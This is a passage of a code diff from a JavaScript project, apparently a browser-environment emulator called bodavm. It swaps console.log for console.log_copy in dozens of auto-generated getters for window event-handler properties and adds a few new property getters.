bodavm.envFunc.window_ontransitionrun_get=function (){let arg=bodavm.memory.globalobj['ontransitionrun']?bodavm.memory.globalobj['ontransitionrun']:null;console.log(`window_ontransitionrun_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_onanimationstart_get=function (){let arg=bodavm.memory.globalobj['onanimationstart']?bodavm.memory.globalobj['onanimationstart']:null;console.log(`window_onanimationstart_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_onanimationiteration_get=function (){let arg=bodavm.memory.globalobj['onanimationiteration']?bodavm.memory.globalobj['onanimationiteration']:null;console.log(`window_onanimationiteration_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_onanimationend_get=function (){let arg=bodavm.memory.globalobj['onanimationend']?bodavm.memory.globalobj['onanimationend']:null;console.log(`window_onanimationend_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_onselectionchange_get=function (){let arg=bodavm.memory.globalobj['onselectionchange']?bodavm.memory.globalobj['onselectionchange']:null;console.log(`window_onselectionchange_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_onselectstart_get=function (){let arg=bodavm.memory.globalobj['onselectstart']?bodavm.memory.globalobj['onselectstart']:null;console.log(`window_onselectstart_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_onpointerleave_get=function (){let arg=bodavm.memory.globalobj['onpointerleave']?bodavm.memory.globalobj['onpointerleave']:null;console.log(`window_onpointerleave_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_onpointerenter_get=function (){let arg=bodavm.memory.globalobj['onpointerenter']?bodavm.memory.globalobj['onpointerenter']:null;console.log(`window_onpointerenter_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_onpointerout_get=function (){let arg=bodavm.memory.globalobj['onpointerout']?bodavm.memory.globalobj['onpointerout']:null;console.log(`window_onpointerout_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_onpointerover_get=function (){let arg=bodavm.memory.globalobj['onpointerover']?bodavm.memory.globalobj['onpointerover']:null;console.log(`window_onpointerover_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_onpointercancel_get=function (){let arg=bodavm.memory.globalobj['onpointercancel']?bodavm.memory.globalobj['onpointercancel']:null;console.log(`window_onpointercancel_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_onpointerup_get=function (){let arg=bodavm.memory.globalobj['onpointerup']?bodavm.memory.globalobj['onpointerup']:null;console.log(`window_onpointerup_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_onpointermove_get=function (){let arg=bodavm.memory.globalobj['onpointermove']?bodavm.memory.globalobj['onpointermove']:null;console.log(`window_onpointermove_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_onpointerdown_get=function (){let arg=bodavm.memory.globalobj['onpointerdown']?bodavm.memory.globalobj['onpointerdown']:null;console.log(`window_onpointerdown_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_onlostpointercapture_get=function (){let arg=bodavm.memory.globalobj['onlostpointercapture']?bodavm.memory.globalobj['onlostpointercapture']:null;console.log(`window_onlostpointercapture_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_ongotpointercapture_get=function (){let arg=bodavm.memory.globalobj['ongotpointercapture']?bodavm.memory.globalobj['ongotpointercapture']:null;console.log(`window_ongotpointercapture_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_onauxclick_get=function (){let arg=bodavm.memory.globalobj['onauxclick']?bodavm.memory.globalobj['onauxclick']:null;console.log(`window_onauxclick_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_onwheel_get=function (){let arg=bodavm.memory.globalobj['onwheel']?bodavm.memory.globalobj['onwheel']:null;console.log(`window_onwheel_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_onwebkittransitionend_get=function (){let arg=bodavm.memory.globalobj['onwebkittransitionend']?bodavm.memory.globalobj['onwebkittransitionend']:null;console.log(`window_onwebkittransitionend_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_onwebkitanimationstart_get=function (){let arg=bodavm.memory.globalobj['onwebkitanimationstart']?bodavm.memory.globalobj['onwebkitanimationstart']:null;console.log(`window_onwebkitanimationstart_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_onwebkitanimationiteration_get=function (){let arg=bodavm.memory.globalobj['onwebkitanimationiteration']?bodavm.memory.globalobj['onwebkitanimationiteration']:null;console.log(`window_onwebkitanimationiteration_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_onwebkitanimationend_get=function (){let arg=bodavm.memory.globalobj['onwebkitanimationend']?bodavm.memory.globalobj['onwebkitanimationend']:null;console.log(`window_onwebkitanimationend_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_onwaiting_get=function (){let arg=bodavm.memory.globalobj['onwaiting']?bodavm.memory.globalobj['onwaiting']:null;console.log(`window_onwaiting_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_onvolumechange_get=function (){let arg=bodavm.memory.globalobj['onvolumechange']?bodavm.memory.globalobj['onvolumechange']:null;console.log(`window_onvolumechange_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_ontoggle_get=function (){let arg=bodavm.memory.globalobj['ontoggle']?bodavm.memory.globalobj['ontoggle']:null;console.log(`window_ontoggle_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_ontimeupdate_get=function (){let arg=bodavm.memory.globalobj['ontimeupdate']?bodavm.memory.globalobj['ontimeupdate']:null;console.log(`window_ontimeupdate_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_onsuspend_get=function (){let arg=bodavm.memory.globalobj['onsuspend']?bodavm.memory.globalobj['onsuspend']:null;console.log(`window_onsuspend_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_onsubmit_get=function (){let arg=bodavm.memory.globalobj['onsubmit']?bodavm.memory.globalobj['onsubmit']:null;console.log(`window_onsubmit_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_onstalled_get=function (){let arg=bodavm.memory.globalobj['onstalled']?bodavm.memory.globalobj['onstalled']:null;console.log(`window_onstalled_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_onslotchange_get=function (){let arg=bodavm.memory.globalobj['onslotchange']?bodavm.memory.globalobj['onslotchange']:null;console.log(`window_onslotchange_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_onselect_get=function (){let arg=bodavm.memory.globalobj['onselect']?bodavm.memory.globalobj['onselect']:null;console.log(`window_onselect_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_onseeking_get=function (){let arg=bodavm.memory.globalobj['onseeking']?bodavm.memory.globalobj['onseeking']:null;console.log(`window_onseeking_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_onseeked_get=function (){let arg=bodavm.memory.globalobj['onseeked']?bodavm.memory.globalobj['onseeked']:null;console.log(`window_onseeked_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_onsecuritypolicyviolation_get=function (){let arg=bodavm.memory.globalobj['onsecuritypolicyviolation']?bodavm.memory.globalobj['onsecuritypolicyviolation']:null;console.log(`window_onsecuritypolicyviolation_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_onscroll_get=function (){let arg=bodavm.memory.globalobj['onscroll']?bodavm.memory.globalobj['onscroll']:null;console.log(`window_onscroll_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_onresize_get=function (){let arg=bodavm.memory.globalobj['onresize']?bodavm.memory.globalobj['onresize']:null;console.log(`window_onresize_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_onreset_get=function (){let arg=bodavm.memory.globalobj['onreset']?bodavm.memory.globalobj['onreset']:null;console.log(`window_onreset_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_onratechange_get=function (){let arg=bodavm.memory.globalobj['onratechange']?bodavm.memory.globalobj['onratechange']:null;console.log(`window_onratechange_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_onprogress_get=function (){let arg=bodavm.memory.globalobj['onprogress']?bodavm.memory.globalobj['onprogress']:null;console.log(`window_onprogress_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_onplaying_get=function (){let arg=bodavm.memory.globalobj['onplaying']?bodavm.memory.globalobj['onplaying']:null;console.log(`window_onplaying_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_onplay_get=function (){let arg=bodavm.memory.globalobj['onplay']?bodavm.memory.globalobj['onplay']:null;console.log(`window_onplay_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_onpause_get=function (){let arg=bodavm.memory.globalobj['onpause']?bodavm.memory.globalobj['onpause']:null;console.log(`window_onpause_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_onmousewheel_get=function (){let arg=bodavm.memory.globalobj['onmousewheel']?bodavm.memory.globalobj['onmousewheel']:null;console.log(`window_onmousewheel_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_onmouseup_get=function (){let arg=bodavm.memory.globalobj['onmouseup']?bodavm.memory.globalobj['onmouseup']:null;console.log(`window_onmouseup_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_onmouseover_get=function (){let arg=bodavm.memory.globalobj['onmouseover']?bodavm.memory.globalobj['onmouseover']:null;console.log(`window_onmouseover_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_onmouseout_get=function (){let arg=bodavm.memory.globalobj['onmouseout']?bodavm.memory.globalobj['onmouseout']:null;console.log(`window_onmouseout_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_onmousemove_get=function (){let arg=bodavm.memory.globalobj['onmousemove']?bodavm.memory.globalobj['onmousemove']:null;console.log(`window_onmousemove_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_onmouseleave_get=function (){let arg=bodavm.memory.globalobj['onmouseleave']?bodavm.memory.globalobj['onmouseleave']:null;console.log(`window_onmouseleave_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_onmouseenter_get=function (){let arg=bodavm.memory.globalobj['onmouseenter']?bodavm.memory.globalobj['onmouseenter']:null;console.log(`window_onmouseenter_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_onmousedown_get=function (){let arg=bodavm.memory.globalobj['onmousedown']?bodavm.memory.globalobj['onmousedown']:null;console.log(`window_onmousedown_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_onloadstart_get=function (){let arg=bodavm.memory.globalobj['onloadstart']?bodavm.memory.globalobj['onloadstart']:null;console.log(`window_onloadstart_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_onloadedmetadata_get=function (){let arg=bodavm.memory.globalobj['onloadedmetadata']?bodavm.memory.globalobj['onloadedmetadata']:null;console.log(`window_onloadedmetadata_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_onloadeddata_get=function (){let arg=bodavm.memory.globalobj['onloadeddata']?bodavm.memory.globalobj['onloadeddata']:null;console.log(`window_onloadeddata_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_onload_get=function (){let arg=bodavm.memory.globalobj['onload']?bodavm.memory.globalobj['onload']:null;console.log(`window_onload_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_onkeyup_get=function (){let arg=bodavm.memory.globalobj['onkeyup']?bodavm.memory.globalobj['onkeyup']:null;console.log(`window_onkeyup_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_onkeypress_get=function (){let arg=bodavm.memory.globalobj['onkeypress']?bodavm.memory.globalobj['onkeypress']:null;console.log(`window_onkeypress_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_onkeydown_get=function (){let arg=bodavm.memory.globalobj['onkeydown']?bodavm.memory.globalobj['onkeydown']:null;console.log(`window_onkeydown_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_oninvalid_get=function (){let arg=bodavm.memory.globalobj['oninvalid']?bodavm.memory.globalobj['oninvalid']:null;console.log(`window_oninvalid_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_oninput_get=function (){let arg=bodavm.memory.globalobj['oninput']?bodavm.memory.globalobj['oninput']:null;console.log(`window_oninput_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_onformdata_get=function (){let arg=bodavm.memory.globalobj['onformdata']?bodavm.memory.globalobj['onformdata']:null;console.log(`window_onformdata_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_onfocus_get=function (){let arg=bodavm.memory.globalobj['onfocus']?bodavm.memory.globalobj['onfocus']:null;console.log(`window_onfocus_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_onerror_get=function (){let arg=bodavm.memory.globalobj['onerror']?bodavm.memory.globalobj['onerror']:null;console.log(`window_onerror_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_onended_get=function (){let arg=bodavm.memory.globalobj['onended']?bodavm.memory.globalobj['onended']:null;console.log(`window_onended_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_onemptied_get=function (){let arg=bodavm.memory.globalobj['onemptied']?bodavm.memory.globalobj['onemptied']:null;console.log(`window_onemptied_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_ondurationchange_get=function (){let arg=bodavm.memory.globalobj['ondurationchange']?bodavm.memory.globalobj['ondurationchange']:null;console.log(`window_ondurationchange_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_ondrop_get=function (){let arg=bodavm.memory.globalobj['ondrop']?bodavm.memory.globalobj['ondrop']:null;console.log(`window_ondrop_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_ondragstart_get=function (){let arg=bodavm.memory.globalobj['ondragstart']?bodavm.memory.globalobj['ondragstart']:null;console.log(`window_ondragstart_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_ondragover_get=function (){let arg=bodavm.memory.globalobj['ondragover']?bodavm.memory.globalobj['ondragover']:null;console.log(`window_ondragover_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_ondragleave_get=function (){let arg=bodavm.memory.globalobj['ondragleave']?bodavm.memory.globalobj['ondragleave']:null;console.log(`window_ondragleave_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_ondragenter_get=function (){let arg=bodavm.memory.globalobj['ondragenter']?bodavm.memory.globalobj['ondragenter']:null;console.log(`window_ondragenter_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_ondragend_get=function (){let arg=bodavm.memory.globalobj['ondragend']?bodavm.memory.globalobj['ondragend']:null;console.log(`window_ondragend_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_ondrag_get=function (){let arg=bodavm.memory.globalobj['ondrag']?bodavm.memory.globalobj['ondrag']:null;console.log(`window_ondrag_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_ondblclick_get=function (){let arg=bodavm.memory.globalobj['ondblclick']?bodavm.memory.globalobj['ondblclick']:null;console.log(`window_ondblclick_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_oncuechange_get=function (){let arg=bodavm.memory.globalobj['oncuechange']?bodavm.memory.globalobj['oncuechange']:null;console.log(`window_oncuechange_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_oncontextrestored_get=function (){let arg=bodavm.memory.globalobj['oncontextrestored']?bodavm.memory.globalobj['oncontextrestored']:null;console.log(`window_oncontextrestored_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_oncontextmenu_get=function (){let arg=bodavm.memory.globalobj['oncontextmenu']?bodavm.memory.globalobj['oncontextmenu']:null;console.log(`window_oncontextmenu_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_oncontextlost_get=function (){let arg=bodavm.memory.globalobj['oncontextlost']?bodavm.memory.globalobj['oncontextlost']:null;console.log(`window_oncontextlost_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_onclose_get=function (){let arg=bodavm.memory.globalobj['onclose']?bodavm.memory.globalobj['onclose']:null;console.log(`window_onclose_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_onclick_get=function (){let arg=bodavm.memory.globalobj['onclick']?bodavm.memory.globalobj['onclick']:null;console.log(`window_onclick_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_onchange_get=function (){let arg=bodavm.memory.globalobj['onchange']?bodavm.memory.globalobj['onchange']:null;console.log(`window_onchange_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_scheduler_get=function (){let arg=bodavm.memory.globalobj['scheduler']?bodavm.memory.globalobj['scheduler']:null;console.log_copy(`window_scheduler_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_crossOriginIsolated_get=function (){let arg=bodavm.memory.globalobj['crossOriginIsolated']?bodavm.memory.globalobj['crossOriginIsolated']:null;console.log_copy(`window_crossOriginIsolated_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_onpointerrawupdate_get=function (){let arg=bodavm.memory.globalobj['onpointerrawupdate']?bodavm.memory.globalobj['onpointerrawupdate']:null;console.log_copy(`window_onpointerrawupdate_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_originAgentCluster_get=function (){let arg=bodavm.memory.globalobj['originAgentCluster']?bodavm.memory.globalobj['originAgentCluster']:null;console.log_copy(`window_originAgentCluster_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_onbeforematch_get=function (){let arg=bodavm.memory.globalobj['onbeforematch']?bodavm.memory.globalobj['onbeforematch']:null;console.log_copy(`window_onbeforematch_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_ondeviceorientationabsolute_get=function (){let arg=bodavm.memory.globalobj['ondeviceorientationabsolute']?bodavm.memory.globalobj['ondeviceorientationabsolute']:null;console.log_copy(`window_ondeviceorientationabsolute_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_ondeviceorientation_get=function (){let arg=bodavm.memory.globalobj['ondeviceorientation']?bodavm.memory.globalobj['ondeviceorientation']:null;console.log_copy(`window_ondeviceorientation_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_ondevicemotion_get=function (){let arg=bodavm.memory.globalobj['ondevicemotion']?bodavm.memory.globalobj['ondevicemotion']:null;console.log_copy(`window_ondevicemotion_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_onunload_get=function (){let arg=bodavm.memory.globalobj['onunload']?bodavm.memory.globalobj['onunload']:null;console.log_copy(`window_onunload_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_onunhandledrejection_get=function (){let arg=bodavm.memory.globalobj['onunhandledrejection']?bodavm.memory.globalobj['onunhandledrejection']:null;console.log_copy(`window_onunhandledrejection_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_onstorage_get=function (){let arg=bodavm.memory.globalobj['onstorage']?bodavm.memory.globalobj['onstorage']:null;console.log_copy(`window_onstorage_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_onrejectionhandled_get=function (){let arg=bodavm.memory.globalobj['onrejectionhandled']?bodavm.memory.globalobj['onrejectionhandled']:null;console.log_copy(`window_onrejectionhandled_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_onpopstate_get=function (){let arg=bodavm.memory.globalobj['onpopstate']?bodavm.memory.globalobj['onpopstate']:null;console.log_copy(`window_onpopstate_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_onpageshow_get=function (){let arg=bodavm.memory.globalobj['onpageshow']?bodavm.memory.globalobj['onpageshow']:null;console.log_copy(`window_onpageshow_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_onpagehide_get=function (){let arg=bodavm.memory.globalobj['onpagehide']?bodavm.memory.globalobj['onpagehide']:null;console.log_copy(`window_onpagehide_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_ononline_get=function (){let arg=bodavm.memory.globalobj['ononline']?bodavm.memory.globalobj['ononline']:null;console.log_copy(`window_ononline_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_onoffline_get=function (){let arg=bodavm.memory.globalobj['onoffline']?bodavm.memory.globalobj['onoffline']:null;console.log_copy(`window_onoffline_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_onmessageerror_get=function (){let arg=bodavm.memory.globalobj['onmessageerror']?bodavm.memory.globalobj['onmessageerror']:null;console.log_copy(`window_onmessageerror_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_onlanguagechange_get=function (){let arg=bodavm.memory.globalobj['onlanguagechange']?bodavm.memory.globalobj['onlanguagechange']:null;console.log_copy(`window_onlanguagechange_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_onhashchange_get=function (){let arg=bodavm.memory.globalobj['onhashchange']?bodavm.memory.globalobj['onhashchange']:null;console.log_copy(`window_onhashchange_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_onbeforeprint_get=function (){let arg=bodavm.memory.globalobj['onbeforeprint']?bodavm.memory.globalobj['onbeforeprint']:null;console.log_copy(`window_onbeforeprint_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_onafterprint_get=function (){let arg=bodavm.memory.globalobj['onafterprint']?bodavm.memory.globalobj['onafterprint']:null;console.log_copy(`window_onafterprint_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_ontransitioncancel_get=function (){let arg=bodavm.memory.globalobj['ontransitioncancel']?bodavm.memory.globalobj['ontransitioncancel']:null;console.log_copy(`window_ontransitioncancel_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_ontransitionend_get=function (){let arg=bodavm.memory.globalobj['ontransitionend']?bodavm.memory.globalobj['ontransitionend']:null;console.log_copy(`window_ontransitionend_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_ontransitionstart_get=function (){let arg=bodavm.memory.globalobj['ontransitionstart']?bodavm.memory.globalobj['ontransitionstart']:null;console.log_copy(`window_ontransitionstart_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_ontransitionrun_get=function (){let arg=bodavm.memory.globalobj['ontransitionrun']?bodavm.memory.globalobj['ontransitionrun']:null;console.log_copy(`window_ontransitionrun_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_onanimationstart_get=function (){let arg=bodavm.memory.globalobj['onanimationstart']?bodavm.memory.globalobj['onanimationstart']:null;console.log_copy(`window_onanimationstart_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_onanimationiteration_get=function (){let arg=bodavm.memory.globalobj['onanimationiteration']?bodavm.memory.globalobj['onanimationiteration']:null;console.log_copy(`window_onanimationiteration_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_onanimationend_get=function (){let arg=bodavm.memory.globalobj['onanimationend']?bodavm.memory.globalobj['onanimationend']:null;console.log_copy(`window_onanimationend_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_onselectionchange_get=function (){let arg=bodavm.memory.globalobj['onselectionchange']?bodavm.memory.globalobj['onselectionchange']:null;console.log_copy(`window_onselectionchange_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_onselectstart_get=function (){let arg=bodavm.memory.globalobj['onselectstart']?bodavm.memory.globalobj['onselectstart']:null;console.log_copy(`window_onselectstart_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_onpointerleave_get=function (){let arg=bodavm.memory.globalobj['onpointerleave']?bodavm.memory.globalobj['onpointerleave']:null;console.log_copy(`window_onpointerleave_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_onpointerenter_get=function (){let arg=bodavm.memory.globalobj['onpointerenter']?bodavm.memory.globalobj['onpointerenter']:null;console.log_copy(`window_onpointerenter_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_onpointerout_get=function (){let arg=bodavm.memory.globalobj['onpointerout']?bodavm.memory.globalobj['onpointerout']:null;console.log_copy(`window_onpointerout_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_onpointerover_get=function (){let arg=bodavm.memory.globalobj['onpointerover']?bodavm.memory.globalobj['onpointerover']:null;console.log_copy(`window_onpointerover_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_onpointercancel_get=function (){let arg=bodavm.memory.globalobj['onpointercancel']?bodavm.memory.globalobj['onpointercancel']:null;console.log_copy(`window_onpointercancel_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_onpointerup_get=function (){let arg=bodavm.memory.globalobj['onpointerup']?bodavm.memory.globalobj['onpointerup']:null;console.log_copy(`window_onpointerup_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_onpointermove_get=function (){let arg=bodavm.memory.globalobj['onpointermove']?bodavm.memory.globalobj['onpointermove']:null;console.log_copy(`window_onpointermove_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_onpointerdown_get=function (){let arg=bodavm.memory.globalobj['onpointerdown']?bodavm.memory.globalobj['onpointerdown']:null;console.log_copy(`window_onpointerdown_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_onlostpointercapture_get=function (){let arg=bodavm.memory.globalobj['onlostpointercapture']?bodavm.memory.globalobj['onlostpointercapture']:null;console.log_copy(`window_onlostpointercapture_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_ongotpointercapture_get=function (){let arg=bodavm.memory.globalobj['ongotpointercapture']?bodavm.memory.globalobj['ongotpointercapture']:null;console.log_copy(`window_ongotpointercapture_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_onauxclick_get=function (){let arg=bodavm.memory.globalobj['onauxclick']?bodavm.memory.globalobj['onauxclick']:null;console.log_copy(`window_onauxclick_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_onwheel_get=function (){let arg=bodavm.memory.globalobj['onwheel']?bodavm.memory.globalobj['onwheel']:null;console.log_copy(`window_onwheel_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_onwebkittransitionend_get=function (){let arg=bodavm.memory.globalobj['onwebkittransitionend']?bodavm.memory.globalobj['onwebkittransitionend']:null;console.log_copy(`window_onwebkittransitionend_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_onwebkitanimationstart_get=function (){let arg=bodavm.memory.globalobj['onwebkitanimationstart']?bodavm.memory.globalobj['onwebkitanimationstart']:null;console.log_copy(`window_onwebkitanimationstart_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_onwebkitanimationiteration_get=function (){let arg=bodavm.memory.globalobj['onwebkitanimationiteration']?bodavm.memory.globalobj['onwebkitanimationiteration']:null;console.log_copy(`window_onwebkitanimationiteration_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_onwebkitanimationend_get=function (){let arg=bodavm.memory.globalobj['onwebkitanimationend']?bodavm.memory.globalobj['onwebkitanimationend']:null;console.log_copy(`window_onwebkitanimationend_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_onwaiting_get=function (){let arg=bodavm.memory.globalobj['onwaiting']?bodavm.memory.globalobj['onwaiting']:null;console.log_copy(`window_onwaiting_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_onvolumechange_get=function (){let arg=bodavm.memory.globalobj['onvolumechange']?bodavm.memory.globalobj['onvolumechange']:null;console.log_copy(`window_onvolumechange_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_ontoggle_get=function (){let arg=bodavm.memory.globalobj['ontoggle']?bodavm.memory.globalobj['ontoggle']:null;console.log_copy(`window_ontoggle_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_ontimeupdate_get=function (){let arg=bodavm.memory.globalobj['ontimeupdate']?bodavm.memory.globalobj['ontimeupdate']:null;console.log_copy(`window_ontimeupdate_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_onsuspend_get=function (){let arg=bodavm.memory.globalobj['onsuspend']?bodavm.memory.globalobj['onsuspend']:null;console.log_copy(`window_onsuspend_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_onsubmit_get=function (){let arg=bodavm.memory.globalobj['onsubmit']?bodavm.memory.globalobj['onsubmit']:null;console.log_copy(`window_onsubmit_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_onstalled_get=function (){let arg=bodavm.memory.globalobj['onstalled']?bodavm.memory.globalobj['onstalled']:null;console.log_copy(`window_onstalled_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_onslotchange_get=function (){let arg=bodavm.memory.globalobj['onslotchange']?bodavm.memory.globalobj['onslotchange']:null;console.log_copy(`window_onslotchange_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_onselect_get=function (){let arg=bodavm.memory.globalobj['onselect']?bodavm.memory.globalobj['onselect']:null;console.log_copy(`window_onselect_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_onseeking_get=function (){let arg=bodavm.memory.globalobj['onseeking']?bodavm.memory.globalobj['onseeking']:null;console.log_copy(`window_onseeking_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_onseeked_get=function (){let arg=bodavm.memory.globalobj['onseeked']?bodavm.memory.globalobj['onseeked']:null;console.log_copy(`window_onseeked_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_onsecuritypolicyviolation_get=function (){let arg=bodavm.memory.globalobj['onsecuritypolicyviolation']?bodavm.memory.globalobj['onsecuritypolicyviolation']:null;console.log_copy(`window_onsecuritypolicyviolation_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_onscroll_get=function (){let arg=bodavm.memory.globalobj['onscroll']?bodavm.memory.globalobj['onscroll']:null;console.log_copy(`window_onscroll_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_onresize_get=function (){let arg=bodavm.memory.globalobj['onresize']?bodavm.memory.globalobj['onresize']:null;console.log_copy(`window_onresize_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_onreset_get=function (){let arg=bodavm.memory.globalobj['onreset']?bodavm.memory.globalobj['onreset']:null;console.log_copy(`window_onreset_get`,`-> res 